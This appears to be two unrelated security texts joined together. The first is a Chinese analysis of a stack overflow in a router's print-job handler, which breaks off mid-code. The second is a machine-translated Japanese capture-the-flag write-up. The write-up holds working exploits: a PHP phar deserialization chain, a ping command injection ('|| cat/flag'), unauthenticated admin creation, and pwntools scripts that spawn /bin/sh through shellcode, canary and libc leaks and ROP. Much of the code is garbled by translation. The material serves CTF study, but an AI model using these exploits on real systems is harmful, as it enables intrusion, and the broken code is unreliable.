.do_airippWithContentLength()函數分配了一個堆緩衝區來容納整個HTTP的內容,並複制之前已經讀取的8個字節,並將剩餘的字節讀入該新的堆緩衝區。

注意:只要malloc()不因內存不足而失敗,實際的HTTP內容的大小就沒有限制,這在後面進行內存噴射時很有用。

然後,代碼繼續根據最初讀取的8個字節的值,來調用其他函數。就這裡來說,我們對位於0x102C4處的Response_Get_Jobs()比較感興趣,因為它包含我們要利用的基於堆棧的溢出漏洞。請注意,雖然其他Response_XXX()函數也可能包含類似的堆棧溢出漏洞,但Response_Get_Jobs()是最容易利用的一個函數,所以,我們就先撿最軟的一個柿子來捏。

unsignedint__fastcalldo_airippWithContentLength(kc_client*kc_client,intcontent_len,char*recv_buf_initial)

{

//[COLLAPSEDLOCALDECLARATIONS.PRESSKEYPADCTRL-'+'TOEXPAND]

client_sock=kc_client-client_sock;

recv_buf2=malloc(content_len);

if(!recv_buf2)

return0xFFFFFFFF;

memcpy(recv_buf2,recv_buf_initial,8u);

if(toRead(client_sock,recv_buf2+8,content_len-8)=0)

{

if(recv_buf2[2]||recv_buf2[3]!=0xB)

{

if(recv_buf2[2]||recv_buf2[3]!=4)

{

if(recv_buf2[2]||recv_buf2[3]!=8)

{

if(recv_buf2[2]||recv_buf2[3]!=9)

{

if(recv_buf2[2]||recv_buf2[3]!=0xA)

{

if(recv_buf2[2]||recv_buf2[3]!=5)

Job=Response_Unk_1(kc_client,recv_buf2);

else

//recv_buf2[3]==0x5

Job=Response_Create_Job(kc_client,recv_buf2,content_len);

}

else

{

//recv_buf2[3]==0xA

Job=Response_Get_Jobs(kc_client,recv_buf2,content_len);

}

}

else

{

.

}易受攻擊的Response_Get_Jobs()函數開頭部分的代碼如下所示:

//recv_bufwasallocatedontheheap

unsignedint__fastcallResponse_Get_Jobs(kc_client*kc_client,unsigned__int8*recv_buf,intcontent_len)

{

charcommand[64];//[sp+24h][bp-1090h]BYREF

charsuffix_data[2048];//[sp+64h][bp-1050h]BYREF

charjob_data[2048];//[sp+864h][bp-850h]BYREF

unsignedinterror;//[sp+1064h][bp-50h]

size_tcopy_len;//[sp+1068h][bp-4Ch]

intcopy_len_1;//[sp+106Ch][bp-48h]

size_tcopied_len;//[sp+1070h][bp-44h]

size_tprefix_size;//[sp+1074h][bp-40h]

intin_offset;//[sp+1078h][bp-3Ch]

char*prefix_ptr;//[sp+107Ch][bp-38h]

intusblp_index;//[sp+1080h][bp-34h]

intclient_sock;//[sp+1084h][bp-30h]

kc_client*kc_client_1;//[sp+1088h][bp-2Ch]

intoffset_job;//[sp+108Ch][bp-28h]

charbReadAllJobs;//[sp+1093h][bp-21h]

charis_job_media_sheets_completed;//[sp+1094h][bp-20h]

charis_job_state_reasons;//[sp+1095h][bp-1Fh]

charis_job_state;//[sp+1096h][bp-1Eh]

charis_job_originating_user_name;//[sp+1097h][bp-1Dh]

charis_job_name;//[sp+1098h][bp-1Ch]

charis_job_id;//[sp+1099h][bp-1Bh]

charsuffix_copy1_done;//[sp+109Ah][bp-1Ah]

charflag2;//[sp+109Bh][bp-19h]

size_tfinal_size;//[sp+109Ch][bp-18h]

intoffset;//[sp+10A0h][bp-14h]

size_tresponse_len;//[sp+10A4h][bp-10h]

ch

朝のCTFパート

web

simplelogin

Yakitはパスワードを破裂させました。A123456であることを忘れないでください。

h2amtakmaqa1080.png

pppp

index.phpには任意のファイルがあります:

?php

//upload.php

error_reporting(0);

highlight_file(__ file__);

クラスA {

public $ a;

パブリック関数__Destruct()

{

$ s=$ this- $ a;

$ s();

}

}

クラスB {

public $ cmd;

function __invoke(){

$ this-start()を返します。

}

function start(){

エコーシステム($ this-cmd);

}

}

if(isset($ _ get ['file'])){

if(strstr($ _ get ['file']、 'flag')){

die( 'get out!');

}

echo file_get_contents($ _ get ['file']);

}

upload.php:を読んでください

! - ?php

error_reporting(0);

if(isset($ _ files ['file'])){

mkdir( 'upload');

$ uid=uniqid();

$ ext=Explode( '。'、$ _ files ['file'] ['name']);

$ ext=end($ ext);

move_uploaded_file($ _ files ['file'] ['tmp_name']、 'upload/'.$ uuid。'。png ');

echo'uploadsuccess!filepath:upload/'.$ uuid。 '。png';

} -

アップロードされたファイルは.pngに変更されます

PHARファイルをアップロードし、ホームページにfile_get_contentsを使用してDeserialization実行コマンドをトリガーしてみてください。

//phar.php

?php //phar.php

classa {

public $ a;

publicFunction__Destruct()

{

$ s=$ this-a;

$ s();

}

}

classb {

public $ cmd;

function__construct(){

$ this- $ cmd='catflag';

}

function__invoke(){

$ this-start()を返します。

}

functionstart(){

System($ this-cmd);

}

}

$ b=newb();

$ b-cmd='cat/flag';

$ a=newa();

$ a-a=$ b;

@unlink( 'phar.phar');

$ phar=newpar( 'phar.phar'); //接尾辞はpharでなければなりません

$ phar-startbuffering();

$ phar-setstub( '?php__halt_compiler();'); //Set Stub

$ phar-setmetadata($ a); //カスタムメタデータをマニフェストに保存します

$ phar-addfromstring( 'a.txt'、 'abb'); //ファイルを追加して圧縮します

$ phar-stopbuffering(); //署名は自動的に計算されます

アップロードとアクセス:

key5ca1cpxq1081.png

Misc

ftp

トラフィック抽出zip、そしてパスワードは同じパスワードパスワード1234567890です。

ksfglhwvhfn1082.png

crypto

baby_words with Buddha

AES、しかしXORの後、結果は文字に変換されるので、それを元に戻してAESを解くことができます

rushiwowen=[

'无', 'mu', 'monk', 'room', 'art', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'

'未'、 'li'、 'blin'、 'due'、 'mul'、 '妊娠'、 'san'、 'black'、 'naked'、 'bean'、 'special'、 'div'、 'reach'、 'regent'、 'length'、 'lengs'、 'length'、 'length'、 'length'、

「書かれた」、「番号」、「責任」、「尊敬」、「ro」、「rot」、「尊敬」、「尊敬」、「尊敬」、「尊敬」、「3」、「bing」、「bing」、 'no'、 '責任者、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」」 「責任」、「責任」、「責任」、

「洞察」、「思考」、「夢」、「削除」、「恐ろしい」、「抑制」、「抑制」、「抑制」、「抑制」、「抑制」、「意志」、「知恵」、「古い」、「」、「」、

'Roar'、 'foot'、 'you'、 'wang'、 'you'、 'won'、 'mu'、 'mu'、 'light'、 'protect'、 'jin'、 'harmony'、 'going'、 'treasure'、 'win'、 'tong'、 'won'、 'win'、 'Tong'、

「薬」、「教師」、「小さな」、「生きている」、「純粋」、「取引」、「マウンテン」、「グッド」、「パス」、「go」、「7」、「 'not'、 'come'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 '

'cause'、 'huldine'、 'five'、 '100'、 'ten000'、 'flowers'、 'buillions'、 'decision'、 'six'、 'fang'、 'name'、 'name'、 'tong'、 'yue'、 'yun'、 'dian'、 'miracle'、

'Zun'、 'tree'、 'root'、 'west'、 'soap'、 'flame'、 'north'、 'qing'、 'number'、 'element'、 '改善'、 'head'、 'silence'、 'momation'、 'element'、 'fore'、 'felement'、 'ement'、 'form'、 'fement'、 'felem'、 '' '' '' '、' feneme '、' '' ''、 'fenemen

'do'、 'shi'、 'ga' '' '、' ni '、' le '、' a '、' du '、' zhong '、' yang '、' Zhong '、' Zhong '、' Zhong '、' Zhong、 'Zhong、' Zhong '、' Zhong '、' Zhong ' 「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」 「Zhong」、「Zhong」

「アクション」、「空き」、「空き」、「思いやり」、「心配」、「誰か」、「満足」、「安定」、「休息」、「day」、「夜」、「栽培」、

'hold'、 'heart'、 'seeking'、 'ricitation'、 'ricitation'、 'this'、 'sutra'、 'エネルギー、「死」、「排除」、「排除」、「有毒」、「害」、「ハイ」、「ハイ」、「オープン」、「テキスト」、「テキスト」、

'super'、 'lift'、 'cool'、 'if'、 '思考'、 'that'、 '' '、' '' '、' emperor '、' vi '、' true '、' ling '、' qian '、' shu '、' ha '、'尊敬'、

「贈り物」、「風水」、「先祖」、「ファースト」、「親の敬iety」、「ダブル」、「私のマスター」、「滞在」、「私のマスター」、「愛」、「兄弟」、「兄弟」、「最初」、「友人」、「友人」、「友人」、「友人」、

「音楽」、「禅」、「一族」、「私の」、「私の」、「私の」、「教育」、「太陽」、「タイム」、「タイヤ」、「バルス」、「陰」、「Yin」、「困難」、「経済」、

'urgent', 'soft', 'soft', 'shoulder', 'creation', 'soft', 'soft', 'shu', 'shu', 'shu', 'shu', 'creation', 'repet', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 '

「キル」、「リリース」、「ブリッジ」、「ロード」、「コーブ」、「小さな」、「ドロー」、「ドロー」、「ドロー」、「ドロー」、「スリープ」、「スイープ」、「スイープ」、「スイープ」、「スイープ」、「スイープ」、「ドン」、「投資」、「投資」、

enc='愛を暗唱する人は、メンザバオを守り、心の嘘の嘘の嘘を嘘をついて、心の嘘を殺し、心配し、心配し、嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘を暗唱しています嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘シュー嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘は

dec=b ''

enc3360のiの場合

Dec +=(rushiwowen.index(i) ^ 64).to_bytes(1、 'Little')

key=b'dasctf@key@^_^@encode !仏! '

iv=b'iv | dasctf | ovo | iv '

crypto.cipher Import AESから

crypto.util.paddingインポートパッドから、unpad

cryportor=aes.new(key、aes.mode_cbc、iv)

#padded_data=pad(data.encode( 'utf-8')、aes.block_size)

encrypted_data=cryptor.decrypt(dec)

print(encrypted_data)

vrsz5zetf131083.png

re

normalandroid

JADXを開くと、1つの関数のみを呼び出して、IDAを見て、過去にそれを見てください。

qthxjbg2tps1084.png

キーのようなものを見て、キーを変換できます。

xul31i40kau1085.png

表面:

owe5c22utg41086.png

表面

pxwy0zlp3mf1087.png

次に、AES暗号化である暗号化ロジックを入力し、Sボックスは過去に変更されました。

gvgg1hrxlbz1088.png

したがって、AESによって実装されたコードを見つけてSボックスを変更し、変換されたキーを使用して復号化します。ネットワークの競争が遮断されたため、当時はスクリプトが保存されていなかったので、私はそれを作りませんでした:

fromcrypto.util.numberimportlong_to_bytes、bytes_to_long

#https://github.com/bozhu/aes-python/blob/master/aes.py

sbox=(

0xbe、0xb4,0x9f、0x70,0xdb、0xad、0x31,0x30,0x6c、0x87、0x87

0x74,0x27,0xc9,0x4c、0x67,0x62,0x0a、0x36,0x08,0xc8、

0x96,0x32,0x00,0xf1,0x38,0x65,0xec、0xed、0x44,0x25、

0xaa、0x33,0x86,0xef、0x0d、0x19,0x7d、0xd5,0x45,0xfb、

0x8d、0x61,0xfe、0x50,0x47,0x7e、0x7c、0xf9,0x01,0xde、

0xff、0xe1,0xac、0x5d、0xb5,0x8e、0x48,0xbf、0x90,0x9d、

0x79,0xcb、0xa6,0xa9,0xfc、0x34,0xcf、0x63,0x5a、0x99、0x99、

0x98,0xb8,0x92,0x2d、0x02,0x89,0x2c、0x3b、0x15,0x72、0x15,0x72

0x5e、0x60,0x29,0x6f、0x0b、0x24,0x6d、0x1c、0x5b、0xe0、

0x37,0xa4,0xcc、0x12,0x93,0xa7,0x09,0xc6,0xb6,0x8f、

0x04,0x20,0xe8,0x46,0xb1,0xae、0x3a、0x68,0x81,0xce、

0x2b、0x0c、0xb3,0x3e、0xc0,0x0e、0x4d、0xd8,0xd2,0xa2、

0x9e、0x56,0x28,0xb0,0x35,0x1b、0x5f、0xf5,0x05,0xbc、

0x3c、0x4f、0x8c、0xe6,0xf6,0x75,0xf4,0xf8,0xdd、0x11、

0xc1,0xb9,0x4e、0x97,0xd6,0xf2,0xe4,0xd1,0x82,0xd3、

0x03,0x8b、0x4b、0xca、0x64,0xeb、0xab、0x71,0xa1,0xba、

0xa8,0x6a、0x1e、0x1a、0xa5,0x49,0x6e、0x53,0x66,0x39、

0x51,0xe9,0x26,0xc4,0xda、0x55,0x3f、0xea、0x85,0x8a、0x85,0x8a、

0xd9,0x13,0x69,0x1f、0xe2,0x7f、0x2f、0xc5,0x88,0x57、

0x73,0xa3,0xe3,0x0f、0xbb、0x18,0xe5,0x42,0x22,0x52、

0x43,0x80,0x2a、0x6b、0x17,0xd7,0x23,0x06,0x58,0x1d、

0x7a、0x84,0xe7,0xee、0xd0,0x41,0xd4,0xbd、0xa0,0xc3、

0xc2,0xfd、0x21,0x54,0xdf、0x7b、0xb7,0xf0,0xb2,0x77、

0x3d、0x07、0x78、0x16、0x9c、0x59、0xaf、0x2e、0x83、0xfa、

0x9b、0x95,0xf7,0x40,0x94,0xf3,0xcd、0xc7,0x91,0x10、

0xdc、0x4a、0x14、0x9a、0x5c、0x76

))

invsbox=[sbox.index(i)foriinrange(256)]

#Learntfromhttp://cs.ucsb.edu/〜koc/cs178/projects/jt/aes.c

Xtime=lambdaa:((((a1)^0x1b)0xff)if(a0x80)else(a1)

rcon=(

0x00,0x01,0x02,0x04,0x08,0x10,0x20,0x40、

0x80,0x1b、0x36,0x6c、0xd8,0xab、0x4d、0x9a、0x9a、

0x2f、0x5e、0xbc、0x63、0xc6、0x97、0x35、0x6a、

0xd4、0xb3、0x7d、0xfa、0xef、0xc5、0x91、0x39、0x39、

))

deftext2matrix(テキスト):

Matrix=[]

Foriinrange(16):

byte=(text(8*(15-i)))0xff

ifi%4==0:

matrix.append([byte])

else:

マトリックス[i //4] .append(byte)

ReturnMatrix

defmatrix2Text(Matrix):

テキスト=0

Foriinrange(4):

Forjinrange(4):

テキスト|=(matrix [i] [j](120-8*(4*i+j)))

returnText

classaes:

def__init __(self、master_key):

self.change_key(master_key)

defchange_key(self、master_key):

self.round_keys=text2matrix(master_key)

#self.round_keys

Foriinrange(4,4*11):

self.round_keys.append([])

ifi%4==0:

byte=self.round_keys [i-4] [0] \

^sbox [self.round_keys [i-1] [1]] \

^rcon [i //4]

self.round_keys [i] .append(byte)

Forjinrange(1,4):

byte=self.round_keys [i-4] [j] \

^sbox [self.round_keys [i-1] [(j+1)%4]]

self.round_keys [i] .append(byte)

else:

Forjinrange(4):

byte=self.round_keys [i-4] [j] \

^self.round_keys [i-1] [j]

self.round_keys [i] .append(byte)

#self.round_keys

defencrypt(self、plantext):

self.plain_state=text2matrix(plantext)

self .__ add_round_key(self.plain_state、self.round_keys [:4])

Foriinrange(1,10):

self .__ round_encrypt(self.plain_state、self.round_keys [4*i:4*(i+1)))

self .__ sub_bytes(self.plain_state)

self .__ shift_rows(self.plain_state)

self .__ add_round_key(self.plain_state、self.round_keys [40:])

returnMatrix2Text(self.plain_state)

defdecrypt(self、ciphertext):

self.cipher_state=text2matrix(ciphertext)

self .__ add_round_key(self.cipher_state、self.round_keys [40:])

self .__ inv_shift_rows(self.cipher_state)

self .__ inv_sub_bytes(self.cipher_state)

Foriinrange(9,0、-1):

self .__ round_decrypt(self.cipher_state、self.round_keys [4*i:4*(i+1)))

self .__ add_round_key(self.cipher_state、self.round_keys [:4])

returnMatrix2Text(self.cipher_state)

def__add_round_key(self、s、k):

Foriinrange(4):

Forjinrange(4):

s [i] [j]^=k [i] [j]

def__round_encrypt(self、state_matrix、key_matrix):

self .__ sub_bytes(state_matrix)

self .__ shift_rows(state_matrix)

self .__ mix_columns(state_matrix)

self .__ add_round_key(state_matrix、key_matrix)

def__round_decrypt(

予備競争

web_ezcms

スワッガーリークテスト/テストテストアカウントログイン、/sys/user/**認証を実行していません。スーパー管理者ユーザーを追加できます。

1049983-20240802141202586-170871422.jpg

現時点では、roleIDはまだ不明です。ロールモジュールは不正ではありません。ユーザーモジュールを読み続け、インターフェイスを発見します

1049983-20240802141203506-2056064072.jpg

ここにはロールIDリークがあります。ここでは、以前にリークされた管理者のIDFCF34B56-A7A2-4719-9236-867495E74C31に記入してください

取得/sys/user/roles/fcf34b56-a7a2-4719-9236-867495e74c31この時点で、スーパー管理者IDは11b3b80c-4a0b-4a92-96ea-fdd4f7a4a4a7e9

{

'createwhere ':0、

'Deptid':'1'、

'email ':' '、

'password ':'123456'、

'Phone':'1111111111'、

'roleids': [

'11b3b80c-4a0b-4a92-96ea-fdd4f7a4a7e9'

]、

'sex':'fmale'、

'username ':'hacker'

}パスワードフィールドデコードに失敗し、テストアカウントでログを確認して、AESのキーであるAbcdefghijklmnopを見つけ、ユーザーが正常に追加されました。ユーザーを追加した後、モジュールでping関数を見つけましたが、WAFがあります。 WAFをバイパスし、コマンドを実行してフラグを取得します

post/sys/pinghttp/1.1

host:

user-agent:mozilla/5.0(macintosh; intelmacosx10.15; rv3360126.0)gecko/20100101firefox/126.0

Accept:Application/json、text/javascript、*/*; q=0.01

Accept-Language:Zh-Cn、Zh; q=0.8、Zh-tw; q=0.7、zh-hk; q=0.5、en-us; q=0.3、en; q=0.2

Accept-Encoding:GZIP、deflate

content-type:Application/json; charset=utf-8

authorization:eyjhbgcioiijiuzi1nij9.eyjzdwiioiijmy2yzngi1ni1hni1hni1hni2eyltq3mtktotizni04njc0otvlnzrjmzeilcjqd3qtcm9szxmta2 v5xyi6wylotoxnuqfnrqhnkiblkzgixswiaxnzijoiewluz3h1zs5jb20ilcjqd3qtcgvybwlzc2lvnmta2v55ijpbinnn5czp1c2vyomxpc3qilcjzexm 6ZgVWDDP1CGRHDGUILCJZEXM6ZGVWDDPKZXRHAWWILCJZEXM6DXNLCJPYB2XLONVWZGF0ZSISINNN5CZPWZXJTAXNZAW9UOMFKZZCISINNN5CZPWZXJTAXNZAW9UOMFKZCISINN5CZP1C2BYOMFKZCISCISCISINNN5CZP1C2BYOMFKZCISCISCISINN5 p1c2vyomfkzcisinn5czp1c2vyomrlbgv0zwqilcjzexm6cgvybwlzc2lvbjp1cgrhdguilcjzzexm6dxnlcjpkzxrhawwilcjzexm6zgiwiciwiciwic3lciwiciwiciwic3lciwikiwic3lckzwdgkdgkdgkdgkdgkdgkzdgkdgkzdgkzdgkdgkzdgkkzdgkdgkzdgkdgkkzdgkdgkdgkdgkkzdgkkdgkdgkknedgiwic3l jvbgu6dxbkyxrliiwic3lzonjvbgu6zgv0ywlsiiwic3lzomrlchq6bglzdcisinnn5czpkzxb0mfkzcisinn5czp1c2vyonvwzgf0zsisinnn5czp2xl2xl2xl2xLisb2xLie 6cm9sztpkzwxldgvkiiwic3lzonblcm1pc3npb246bglzdcisinn5czpwzjtaxnzaw9uomrldgfpbcisinn5czpwzxjtaxnzaw9uomrldgfpbcisinn5czinn5czinn5czinn5czinn5czinn5czinn5czn5czinn5czinn5czinn5czinn5czinn5czinn5czinn5czinn5czinn5czinn5czn5czn5 mrlbgv0zwqilcjzexm6bg9nomrlbgv0zwqilcjzexm6dxnlcjpyb2xlomrldgfpbcisinnn5czinnn5czinnn5czinnn5czinnn5czinnn5cisinnn5czpsb2c6bglzdcjdlcjqd3qddx nlci1uyw1llwtlesi6imfkbwluiiwizxhwijoxnze2nze3mjiwlcjpyxqioje3mty3mty3mty3mty3mty3mty0lftbd2b7yaampkktl_eo0kjcb5j3bw8fka

X-Requested With:xmlhttprequest

Content-Length:28

Origin:

DNT:1

SEC-GPC:1

connection:close

参照:

cookie:jsessionid=c701d746da63e8fb94270ad6d2fd9adb

sec-fetch-dest:Empty

sec-fetch-mode:cors

SEC-FETCH-SITE:SAME-ORIGIN

Priority:U=1

{'ip':'10.10.10.10-1 || cat/flag'}

トップシークレットファイルコードP

importcv2

importnumpyasnp

S=1790932091819291499534661361785420675976823277412565868079070707029728290913658

fromcrypto.util.numberimport*

#P、Q=(24162760378372762422470687817893681267、

#34743245425789325049640796550677777649463)

## assertp ** 2+q ** 2==s

## print(isprime(p)、isprime(q))

#img_path='flag_enc.png'

#IMG=cv2.imread(img_path)

#print(img.shape)

fromympy.solvers.diophantine.diophantineimportcornacchia

'' '

この場所は、sから変更し、分解し、Factordbだけを変更する必要があります

f={724721568156194459002808961358148476581:1,157606014 2432444438240601:1,5801674693:1,2:1,1351:1}}

'' '

x1=cornacchia(1,1、s)

Fora、binx1:

Asserta ** 2+B ** 2==s

ifisprime(a)andisprime(b):

印刷(a、b)

#ここでPとQを取得しました

fromcrypto.util.numberimport*

P、Q=302951519841786100871482507429649247,2954888723650623654106370451762393175957

S=1790932091819291499534661361785420675976823277412565868079070707029728290913658

assertisprime(p)andisprime(q)andp ** 2+q ** 2==s

importcv2

path1='flag_enc.png'

img=cv2.imread(path1)

#print(img.shape)

r、c、d=img.shape

印刷(r、c)

#i、j=101,201

fromtqdmimporttqdm

A、B=P、Q

foriintqdm(range(r)):

Forjinrange(c):

set1=set()

set1.add((i、j))

i1、j1=i、j

WHILETRUE:

x=(i1+b*j1)%r

y=((a*i1)+(a*b+1)*j1)%c

i1、j1=x、y

if(x、y)notinset1:

set1.add((x、y))

else:

ifi==0andj==0:

続行します

assertlen(set1)==190#はすべてデフォルト190です

#ここは190であることがわかりました。後で触れ始めたのは偶然でした。

#s1=s%190

#print(s1)

#importnumpyasnp

#defarnold(img、shuffle_times、a、b):

#r、c、d=img.shape

#p=np.zeros(img.shape、np.uint8)

#print(r、c、d、shuffle_times)

#forsinrange(shuffle_times):

#foriinrange(r):

#forjinrange(c):

#x=(i+b*j)%r

#y=((a*i)+(a*b+1)*j)%c

#P [x、y、]=img [i、j、]

#img=np.copy(p)

#returnp

#x1=アーノルド(img、11、p、q)

#cv2.imwrite( 'flag3.png'、x1)

## cv2.imwrite( 'flag1.png'、img)

C=17909320918192914995346613617854206759768232774125658680790707029728290913658

P、Q=302951519841786100871482507429649247,2954888723650623654106370451762393175957

importcv2

importnumpyasnp

Defarnold(IMG、shuffle_times、a、b):

r、c、d=img.shape

p=np.zeros(img.shape、np.uint8)

印刷(r、c、d、shuffle_times)

forsinrange(shuffle_times):

foriinrange(r):

Forjinrange(c):

x=(i+b*j)%r

y=((a*i)+(a*b+1)*j)%c

p [x、y、]=img [i、j、]

img=np.copy(p)

戻る

img=cv2.imread( 'flag_enc.png')

#print(img)

C1=C%190

Foriinrange(190):

img=arnold(img、1、p、q)

cv2.imwrite(f'flag {i+1} .png '、img)

'' '

1。激しく列挙してください。とにかく、サイクルは190です。すべてを列挙してください。 i=66を見つけると、flag67.pngはflagです

2.FLAG {ailuropoda_rnelaNoleuca}

''

正しいことをし続ける

トラフィックパケットから取得されたデータは、画像の16進システムです

1049983-20240802141204115-667496384.jpg

彼の16進システムを確認し、彼の終わりに追加のデータがあることを見つけます

1049983-20240802141204919-1421521109.jpg

それはVIM描画コマンドで、drawitを直接インストールし、コマンドを入力してマップを描画します

ゲーム

ゲームを直接プレイしてフラグを取得します

これは本当のサインイン

です

1049983-20240802141205695-1581426213.jpg

funiot

Dockerファイルのセットを提供し、バイナリファイルを実行し、逆を直接開き、次にダイナミックデバッグと静的分析を組み合わせてプロトコル形式を分析し、最終的に読み取りファイルの関数の1つを使用し、//ByPass比較検出を使用します。

1049983-20240802141206375-612647167.jpg

次に、フラグを読みます:

frommpwnimport*

Importzlib

#p=remote( '127.0.0.1'、6768)

p=remote( '173.34.20.10'、6768)

ヘッダー=b'funiot '#6

CMD=0x102

cmd_encode=int(cmd).to_bytes(2、 'big')

len=0x0101

length=int(len).to_bytes(2、 'big')

#content=b'getinfo:shadow '

#content=b'getinfo:/lib/udev/rc_keymaps/asus_pc39.toml '

content=b'getinfo: //flag '

content=content.ljust(0x101、b '\ x00')

check_sum=int(zlib.crc32(content))。to_bytes(4、 'big')

full_content=header+length+cmd_encode+check_sum+content

#packet:

#header:6Bytes

#length:2bytes

#CMD:2BYTES

#CheckSum:4Bytes

#CONTENT:UNKNOW

context.log_level='debug'

p.send(full_content)

#p.Interactive()

ImportBase64

print(base64.b64decode(p.recv())。デコード( 'utf-8'))

#command:getinfo、setinfo、secret

yesure_hack

質問には、最大値と最小値を入力し、この範囲の乱数を推測する必要があります。正しく推測すると、スタックオーバーフローを入力します。オーバーフロー文字の数は間違っていると推測した回数であるため、2つの隣接する数値を入力して、十分な回数を推測してから、定期的なスタックオーバーフロー使用率を実行できます。スタックを開いた後に実行できるため、検出でペイロードが空になっていないことが必要なため、シェルコードを直接書き、XORバイパスされていない非空白検出を実行しました。

#ランダム%(Max-Min+1)+Min

frommpwnimport*

context.log_level='debug'

#p=process( './main')

p=remote( '173.34.20.233'、9999)

P.Sendlinefter(b'ch: '、b'1')

P.Sendlinefter(b'enteraminimumandmaximummumberfortheguessinggame: '、b'12')

Foriinrange(99):

P.Sendlinefter(b'guessanumber '、b'1')

P.Sendlinefter(b'guessanumberbetween '、b'2')

ペイロード=b'a '*0x3c

ペイロード+=P32(0x0805DEA9)

ペイロード+=asm( '' 'push0xffffffff4

ポピアックス

push0xffffffffffff

popepx

Xoreax、EBX

push0xff978cd0

Popecx

Xorecx、EBX

pushecx

push0x6e69622f

movebx、esp

Xorecx、ECX

int0x80 '' ')

ペイロード=payload.ljust(99、b'a ')

一時停止()

P.Sendlineferter(b'congratulation! '、ペイロード)

p.Interactive()

msg

辞書の辞書のスタックオーバーフロー +フォーマット文字列の脆弱性。これにより、文字列の脆弱性がカナリアとLIBCに漏れています。

frommpwnimport*

#p=process( './main')

p=remote( '173.34.20.68'、9999)

P.Sendlinefter(b'message: '、b'%11 $ p ')

canary=int(p.recv(18)、16)

成功(f'canary: {hex(canary)} ')

P.Sendlinefter(b'message: '、b'%3 $ p ')

libc=int(p.recv(14)、16)-0x10e1f2

成功(f'libc: {hex(libc)} ')

One=libc+0xe3b01

P.Sendlinefter(b'message: '、b'a'*0x28+p64(canary)+b'b '*8+p64(one))

一時停止()

P.Sendlinefter(b'message: '、b' \ x00 '*0x10)

p.Interactive()

スタックオーバー

も古典的なスタックオーバーフローですが、リモートLIBCはローカルとは少し異なります。さらに、返品アドレスは、Leaf ESP [ECX-4]、RETを介して返されます。これは正常に使用されていません。ただし、プログラムをさまざまな出力場所に制御した後、スタック環境は基本的に同じであると判断されているため、最終的には、LIBCに頼って利用しないようにしてください。

frommpwnimport*

#context.log_level='debug'

#p=process( './stackover')

p=remote(b'173.34.20.46 '、9999)

p.sendafter(b'read: '、b'a'*0x29b)

P.Recvuntil(b'a '*0x29b)

canary=u32(b '\ x00'+p.recv(3))

成功(f'canary: {hex(canary)} ')

#一時停止()

p.sendafter(b'read: '、b'a'*(0x29b+7+8+0x2c-0x30-4)))

P.Recvuntil(b'a '*(0x29b+7+8+0x2c-0x30-4)))

P.Recv(4)

P.Recv(4)

stack=u32(p.recv(4))

成功(f'stack: {hex(stack)} ')

#一時停止()

p.sendafter(b'read: '、b'b'*(0x29b+0x18+7)))

P.Recvuntil(b'b '*(0x29b+0x18+7))

libc=u32(p.recv(4))-0x1aed5

成功(f'libc: {hex(libc)} ')

#一時停止()

p.sendafter(b'read: '、b'a'*(0x29b+7+8+0x2c+0x54))

P.Recvuntil(b'a '*(0x29b+7+8+0x2c+0x54)))

elf_base=u32(p.recv(4))-0x3fb8

成功(f'elf_base: {hex(elf_base)} ')

ペイロード=b'c '*(0x29a-0x14-8)

#execve0xc9510

#System0x41780

#puts0x6dc40

#ペイロード+=P32(libc+0x6dc40)

#ペイロード+=P32(elf_base+0x1130)

ペイロード+=b '/bin/sh \ x00'

ペイロード+=P32(elf_base+0x128e)

#ペイロード+=p32(elf_base+0x3fcc)

#ペイロード+=p32(0)

ペイロード+=P32(stack-0x50)

ペイロード+=p32(0)

#ペイロード+=P32(libc+0x18e363)

#ペイロード+=P32(libc+0x18e363)

ペイロード+=p32(0)

ペイロード+=p32(0)

ペイロード+=P32(カナリア)

ペイロード+=p32(0)*3

ペイロード+=P32(stack-0x44)

ペイロード+=P32(elf_base+0x3fb8)

ペイロード+=b '/bin/sh \ x00'

一時停止()

context.log_level='debug'

p.sendafter(b'read: '、ペイロード)

p.Interactive()

stackover-revenge

は255以内に追加および減算関数を提供します。最初は脆弱性は見られませんでしたが、後にプログラムの通常のプロセスに少しバックドアコードが追加されたことがわかりました。

1049983-20240802141207116-1405232494.jpg

IDAはF5を押し、ここでは見えません。別の場所のバックドアコードは、上記のコードのトリガー条件を完了することができます。

